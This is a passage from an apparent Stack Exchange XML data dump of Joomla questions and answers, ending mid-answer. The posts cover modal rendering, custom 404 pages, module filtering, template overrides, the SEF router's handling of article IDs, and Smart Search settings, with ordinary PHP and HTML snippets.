  <row Id="19491" PostTypeId="1" CreationDate="2017-04-04T00:11:03.077" Score="1" ViewCount="415" Body="&lt;p&gt;I am using the following code to render a Modal window in Joomla! 3.6.5, inside administration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;a href=&quot;#modal-test-modal&quot; role=&quot;button&quot; class=&quot;btn btn-success&quot; data-toggle=&quot;modal&quot;&amp;gt;Launch demo modal&amp;lt;/a&amp;gt;';&#xA;&#xA;$modalParams = array(&#xA;    'title'       =&amp;gt; 'Test modal',&#xA;    'closeButton' =&amp;gt; true,&#xA;    'url'         =&amp;gt; 'http://joomla.org',&#xA;    'height'      =&amp;gt; 600,&#xA;    'width'       =&amp;gt; 600,&#xA;    'backdrop'    =&amp;gt; true,&#xA;    'keyboard'    =&amp;gt; true,&#xA;    'footer'      =&amp;gt; '&amp;lt;div class=&quot;alert alert-info&quot;&amp;gt;Modal footer&amp;lt;/div&amp;gt;'&#xA;);&#xA;$modalBody = '&amp;lt;div class=&quot;alert alert-success&quot;&amp;gt;Modal &amp;lt;strong&amp;gt;body!&amp;lt;/strong&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;echo JHtml::_('bootstrap.renderModal', 'modal-test-modal', $modalParams, $modalBody);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The issue:&lt;/strong&gt; At the first button click, the modal pops up, but the modal frame does not 'follow' the iframe content &#xA;&lt;a href=&quot;https://i.stack.imgur.com/MrRza.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MrRza.jpg&quot; alt=&quot;wrong image&quot;&gt;&lt;/a&gt; &#xA;but if dismiss the modal and click again to open it, it will be correctly rendered.&#xA; &lt;a href=&quot;https://i.stack.imgur.com/2KB21.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2KB21.jpg&quot; alt=&quot;right image&quot;&gt;&lt;/a&gt;&#xA;Is there a workaround for this?&lt;br&gt;&#xA;EDIT: If browser is refreshed, the first click after, will be wrongly rendered, again&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2017-04-05T13:36:54.353" LastActivityDate="2017-04-05T13:36:54.353" Title="Modal rendering issue" Tags="|joomla-3.x|development|jquery|modal|bugs|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19492" PostTypeId="1" CreationDate="2017-04-04T04:01:28.243" Score="2" ViewCount="993" Body="&lt;p&gt;I am looking for a way to redirect joomla to a different page without changing the url in the address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We currently have a site setup that when it encounters a 404 page (eg. site.com/fake-url) it redirects to a custom 404 page (site.com/404-page). This 404 page is an article page with custom modules etc. designed to help the user in finding the correct page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However we now desire to keep the person on the incorrect url they entered and display the custom 404 page. I know it is possible via htaccess redirects to silently redirect without changing the url I am wondering if something like this is possible for joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current code that redirects is found in the templates error.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($this-&amp;gt;error-&amp;gt;getCode() == &quot;404&quot;){&#xA;    $link = JRoute::_(&quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=82&amp;amp;Itemid=163&quot;);&#xA;    $app-&amp;gt;redirect($link);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8310" LastEditorUserId="126" LastEditDate="2017-04-04T06:54:45.520" LastActivityDate="2017-04-28T11:48:53.327" Title="Joomla Redirect without changing url" Tags="|templates|seo|redirect|error-handling|error-pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19493" PostTypeId="2" ParentId="19472" CreationDate="2017-04-04T05:09:32.523" Score="5" Body="&lt;p&gt;You might want to use Admin Tools or RSFirewall to do a malware scan.  There are known cases where certain malware can cause this problem: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=902880&quot; rel=&quot;noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=902880&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-04-04T05:09:32.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19494" PostTypeId="2" ParentId="19472" CreationDate="2017-04-04T06:29:27.337" Score="3" Body="&lt;p&gt;I bet there is a fatal error somewhere, which prevents the complete execution and results to see an incomplete rendered page and the essential css/js files missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable error reporting and likely you will see what's wrong at the bottom of the page, where the rendering stops. Report back any of your findings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also help if you would do a clean restoration of the joomla core, as usually such errors are the results of corrupted or missing core code files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some other cases this can be caused by 3rd party extensions - usually plugins - so as another step try disabling plugins and keep testing the page to see if there is any change.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-04-04T06:29:27.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19495" PostTypeId="2" ParentId="19492" CreationDate="2017-04-04T06:53:24.180" Score="1" Body="&lt;p&gt;Although not using proper terminology, I think I got what your main problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, what you have now is not a right way to deal with non-found pages/urls (404 errors). Actually you don't return a 404 status error, instead you return a 200 status page with content. So it looks like any faulty url leads to somewhere in your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you don't need another redirection nor anything &quot;silent&quot; or &quot;mystic&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is to work on your template's error.php page. To start on this, simply remove this wrongly used redirection in your error.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test to see the results now with a &lt;code&gt;/fake-url&lt;/code&gt; page. If the rest of your error.php is correct (with SEF URLs enabled as well), you should see that you remain on the non-existing URL, with a 404 status error and whatever content your error.php is designed to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all you have to do is to be creative with the error.php file.&#xA;This Joomla Documentation resource should help: &#xA;&lt;a href=&quot;https://docs.joomla.org/Custom_error_pages&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Custom Error Pages&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have other issues with customizing your error page, feel free to open a new question in this website.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-04-28T11:48:53.327" LastActivityDate="2017-04-28T11:48:53.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19496" PostTypeId="2" ParentId="19482" CreationDate="2017-04-04T07:12:29.557" Score="1" Body="&lt;h1&gt;1. Advanced Template Manager&lt;/h1&gt;&#xA;&lt;p&gt;My first suggestion here would be the &lt;strong&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/advancedtemplatemanager#free-vs-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Template Manager&lt;/a&gt;&lt;/strong&gt; by Regular Labs.&lt;/p&gt;&#xA;&lt;p&gt;It gives full control on how you can assign templates. It covers Joomla content by articles, categories, page types... or for you case, the pro version provides option to assign template by User Groups or Users IDs.&lt;/p&gt;&#xA;&lt;p&gt;So for example, you could set a specific template for your members/registered users.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;Note: Test the free version first to see if it works well with gantry5, before deciding to go for the Pro version.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;2. Be creative with core template manager&lt;/h1&gt;&#xA;&lt;p&gt;Alternatively, using the core template manager this is another idea that could work (depending on how your whole website is configured).&lt;/p&gt;&#xA;&lt;p&gt;Set as default template the one that you want to assign to those pages that don't have a menu item, and then assign your other templates on those pages that have a menu item.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;3. Custom Plugin&lt;/h1&gt;&#xA;&lt;p&gt;Finally, there is the custom route. Create a simple system plugin which will detect the category of the current page - you could use something like the &lt;code&gt;onAfterInitialise&lt;/code&gt; &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;event&lt;/a&gt; - and set the desired template according to your liking. You could even check for the current user/usergroup - or mix both category and user checks.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-04-04T07:12:29.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19497" PostTypeId="1" CreationDate="2017-04-04T07:46:05.963" Score="3" ViewCount="75" Body="&lt;p&gt;I need ability to filter records in my &lt;b&gt;module&lt;/b&gt;, but I don't know how to add filter form to module (in component everything works perfectly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar question have been asked a while ago (&lt;a href=&quot;https://stackoverflow.com/questions/29893091/joomla-filter-form-in-module-for-component-auto-fill-fields&quot;&gt;link&lt;/a&gt;), but the answer is a bit unclear (where does the array of &lt;code&gt;$filters&lt;/code&gt; come from?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main question is &lt;b&gt;is it even possible to add fully functional filtering box using Joomla CMS API?&lt;/b&gt;&lt;/p&gt;&#xA;" OwnerUserId="9633" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2018-09-27T01:00:48.413" Title="Add filtering capability to module view - Joomla 3.x" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19498" PostTypeId="2" ParentId="19497" CreationDate="2017-04-04T11:30:47.340" Score="1" Body="&lt;p&gt;I think you have stored value to session from request need to get value from there and assign to variable again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to fetch value from session :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$com_man_filtervalues = $app-&amp;gt;getUserStateFromRequest('com_man.oferty.filter', 'filter', array(), 'array');&#xA;//print_r($com_man_filtervalues);//you need to check for values&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have got values properly there then you can directly set them to variable when you have display them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JForm.html#method_getInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla method_getInput&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getInput(string $name, string $group = null, mixed $value = null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8836" LastActivityDate="2017-04-04T11:30:47.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19499" PostTypeId="2" ParentId="10331" CreationDate="2017-04-04T14:20:44.580" Score="0" Body="&lt;p&gt;I had similar problem and I achieved desired results by slightly altering one workaround already mentioned here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;/my_template/html/com_content/article/&lt;/strong&gt; I have files &lt;strong&gt;default.php&lt;/strong&gt;, &lt;strong&gt;default_default.php&lt;/strong&gt; and &lt;strong&gt;default_altered.php&lt;/strong&gt;. The default.php only decides which one of the other files loads. I tested two ways to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on category id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;item-&amp;gt;catid==19) {&#xA;  echo $this-&amp;gt;loadTemplate('altered');&#xA;} else {&#xA;  echo $this-&amp;gt;loadTemplate('default');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or based on active menu item id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menuid = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;if ($menuid==107) {&#xA;  echo $this-&amp;gt;loadTemplate('altered');&#xA;} else {&#xA;  echo $this-&amp;gt;loadTemplate('default');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know whether it is an ideal solution (I'm just learning it myself), but it worked for me. :-)&lt;/p&gt;&#xA;" OwnerUserId="5848" LastActivityDate="2017-04-04T14:20:44.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19500" PostTypeId="2" ParentId="19461" CreationDate="2017-04-04T16:49:48.760" Score="2" Body="&lt;p&gt;This is a problem with the Joomla content router. Specifically, in the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$advanced)&#xA;{&#xA;    $cat_id = (int) $segments[0];&#xA;&#xA;    $article_id = (int) $segments[$count - 1];&#xA;&#xA;    if ($article_id &amp;gt; 0)&#xA;    {&#xA;        $vars['view'] = 'article';&#xA;        $vars['catid'] = $cat_id;&#xA;        $vars['id'] = $article_id;&#xA;    }&#xA;    else&#xA;    {&#xA;        $vars['view'] = 'category';&#xA;        $vars['id'] = $cat_id;&#xA;    }&#xA;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see how the &lt;code&gt;$article_id&lt;/code&gt; is an integer cast of the last part of the &lt;code&gt;$segments&lt;/code&gt; array. This means that you can have something like: [youjoomladomain].com/blablabla/123-your-article.html, and the link will still work, despite the fact that blablabla doesn't even exist anywhere (not even as a category or a menu item). Even [youjoomladomain].com/blablabla/123-blablabla.html will work, because 123 is an existing article ID (so, everything else is ignored). This is a big problem from an SEO perspective, because a spammer can just link to the same article on your website from multiple URLs (where the middle part can be an obscene string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clean solution to this problem is to use the &lt;code&gt;sef_advanced_link&lt;/code&gt; as described &lt;a href=&quot;http://www.itoctopus.com/how-to-remove-the-article-id-from-joomlas-sef-urls&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. The &lt;code&gt;sef_advanced_link&lt;/code&gt; option is not well promoted in Joomla (it's not even an option from within the backend - at least the last time I checked), despite its huge benefits (I really have no idea why). By using this option, you will get rid of the ID in the string, so Joomla is forced to check the whole URL in order to know which article you are referring to. Once enabled, any &quot;blablabla&quot; in the middle of the URL will return a 404.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2017-04-05T13:29:28.307" LastActivityDate="2017-04-05T13:29:28.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19502" PostTypeId="1" AcceptedAnswerId="19505" CreationDate="2017-04-05T05:08:29.780" Score="0" ViewCount="350" Body="&lt;p&gt;I would like to prevent some specific articles from being shown on com_content blog view and featured articles view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the article has a specific ID that I seted on code like &quot;27&quot; he will not show up on menu id 101 or count on the listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I am aware that creating a template overhaul for com_content on my template and just making a simple &quot;if&quot; statement on the right place would be enough.  BUT, they want the development of a new plugin to handle this part and I would just make this post longer to explain why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was asking myself if a code on a custom Joomla Plugin could affect and change the com_content article query and if yes I would like a example. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$menu =&amp;amp;JSite::getMenu();&#xA;$idm = $menu-&amp;gt;getActive()-&amp;gt;id;&#xA;$delist = array(27, 28);&#xA;&#xA;&#xA;if($idm == 101 &amp;amp;&amp;amp; in_array($idofthearticle, $delist)){&#xA;// code to delist article from current page view&#xA;} &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9915" LastActivityDate="2017-04-05T20:52:15.177" Title="How to remove specific articles from blog view using a plugin custom code. Its possible? How?" Tags="|joomla-3.x|development|plugin|articles|plugin-events|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19503" PostTypeId="1" AcceptedAnswerId="19504" CreationDate="2017-04-05T05:43:53.147" Score="0" ViewCount="361" Body="&lt;p&gt;I have 2 positions and 6 modules for each position. I want to show 1 module of each position in each section.&#xA;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;module-left&quot; style=&quot;raw&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;module-right&quot; style=&quot;raw&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code shows all the modules, with the problem stacking the 6 modules of each position within a single section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the modules (module1, module2 ...) in the position module-left, and (moduleA, moduleB ...) in the module-right position&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show the sections in the following way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            CONTENT module1&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            CONTENT moduleA&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            CONTENT module2&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            CONTENT moduleB&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="7417" LastActivityDate="2017-04-06T08:19:27.093" Title="Loop Joomla Modules" Tags="|joomla-3.x|php|module|positions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19504" PostTypeId="2" ParentId="19503" CreationDate="2017-04-05T06:50:11.660" Score="3" Body="&lt;p&gt;Well from your description I can't figure out for 100% what you trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my thoughts is you need to simplify code in &lt;code&gt;index.php&lt;/code&gt; (remove &quot;block-cobtent&quot;) and move it to &lt;code&gt;html/modules.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the way to add custom wrapper to any model. Also functions from that file are added to module setting, so you can switch to needed layout easily.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Looking through the code I realized that it can be accomplished with settings also, but it will need to configure each module, and that's not want you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want is:&#xA;Add code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_section($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;    $bootstrapSize = (int) $params-&amp;gt;get('bootstrap_size', 0);&#xA;    $moduleClass   = $bootstrapSize != 0 ? ' span' . $bootstrapSize : '';&#xA;    $headerTag     = htmlspecialchars($params-&amp;gt;get('header_tag', 'h3'), ENT_COMPAT, 'UTF-8');&#xA;    $headerClass   = htmlspecialchars($params-&amp;gt;get('header_class', 'page-header'), ENT_COMPAT, 'UTF-8');&#xA;&#xA;    if ($module-&amp;gt;content)&#xA;    {&#xA;        echo '&amp;lt;div class=&quot;section ' . htmlspecialchars($params-&amp;gt;get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8') . $moduleClass . '&quot;&amp;gt;';&#xA;&#xA;            if ($module-&amp;gt;showtitle)&#xA;            {&#xA;                echo '&amp;lt;' . $headerTag . ' class=&quot;' . $headerClass . '&quot;&amp;gt;' . $module-&amp;gt;title . '&amp;lt;/' . $headerTag . '&amp;gt;';&#xA;            }&#xA;&#xA;            echo $module-&amp;gt;content;&#xA;        echo '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the end of &lt;code&gt;templates/YOUR_TEMPLATE/html/modules.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And change your &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;module-left&quot; style=&quot;raw&quot; /&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;module-left&quot; style=&quot;section&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And solution that author really needs would be something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $mods_left = JModuleHelper::getModules('module-left');&#xA;  $mods_right = JModuleHelper::getModules('module-right');&#xA;  foreach ($mods_left as $i =&amp;gt; $module){&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;          &amp;lt;?= JModuleHelper::renderModule($mods_left[$i]) ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;            &amp;lt;?= JModuleHelper::renderModule($mods_right[$i]) ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;?php&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2017-04-06T08:19:27.093" LastActivityDate="2017-04-06T08:19:27.093" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19505" PostTypeId="2" ParentId="19502" CreationDate="2017-04-05T06:58:32.873" Score="1" Body="&lt;p&gt;AFAIK, and you can look in the code, there is no plugin triggerer in getListQuery statement. So basically you can not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is 2 workarounds (not pretty really):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;strip not needed block in onBeforeRender at system plugins;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and the really weird one: after system is initialized replace (override, load instead of) content model with your own one that will modify the query before pulling items from DB. There is lots of techniques all-over the web on how to do such override.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;How to override core classes?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But if you good with your PHP knowledge basically what you want to do as the best solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;read file with Joomla Class&lt;/li&gt;&#xA;&lt;li&gt;change class name for example from &lt;code&gt;JoomlaClass&lt;/code&gt; to &lt;code&gt;JoomlaClassOverrided&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;create your own class with &lt;code&gt;class JoomlaClass extends JoomlaClassOverrided&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;and implement override and load both classes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way you will only override needed parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I went ahead and done simple plugin that will allow to do this kind of things. Hardcoded for now, but I'll work on improving it went there would be few minutes for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now check the link &lt;a href=&quot;https://github.com/alex7r/overrideany&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/alex7r/overrideany&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. As said before: you can use it to override only parts you needed and not copy whole code.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-04-05T20:52:15.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19506" PostTypeId="1" CreationDate="2017-04-05T07:28:23.547" Score="1" ViewCount="1002" Body="&lt;p&gt;I have Joomla version 3.6.5 and Content Smart search version 3.0.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we write author name in search box it will display articles written by that author. I want to stop this search. e.g. article search by author name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried as given here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.templatemonster.com/help/joomla-3-x-how-to-configure-smart-search.html#gref&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.templatemonster.com/help/joomla-3-x-how-to-configure-smart-search.html#gref&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/smart-search/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ostraining.com/blog/joomla/smart-search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have create search filter with de-selected authors list and I have module with smart search, at there, I have select in search filter created in Components -&gt; Smart Saerch -&gt; Search Filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o31qr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o31qr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UXTXJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UXTXJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And search field in menu, I have selected this module. from IceMegaMenu Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ltdtn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ltdtn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this not stopped search articles by author name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried removing authors from content maps, but this also couldn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also review &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/7976&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. As given solution here, I have to change in code, Is it true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest right solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9830" LastActivityDate="2022-12-16T10:02:55.423" Title="Smart Search exclude search articles by author name" Tags="|joomla-3.6|smartsearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19507" PostTypeId="2" ParentId="19502" CreationDate="2017-04-05T08:04:58.707" Score="0" Body="&lt;h1&gt;Create your custom model/view&lt;/h1&gt;&#xA;&lt;p&gt;Maybe you would be better if you would create your own model/view with its menu item and use it for that page. This would be somewhat easy - simply duplicate the core model/view you want, do any renaming where necessary and then you can write your own queries to fit your needs.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;sub&gt;Before going that far though, make sure that you have covered all other possibilities and workarounds that may be more than adequate for your needs. So, although you have not gone into details about what your final goal is and all the why's, here are some suggestions that maybe you have not realized they do exist.&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Use different/more categories.&lt;/h1&gt;&#xA;&lt;p&gt;For example, I want to point out that an article will not appear in the blog layout of a category if it 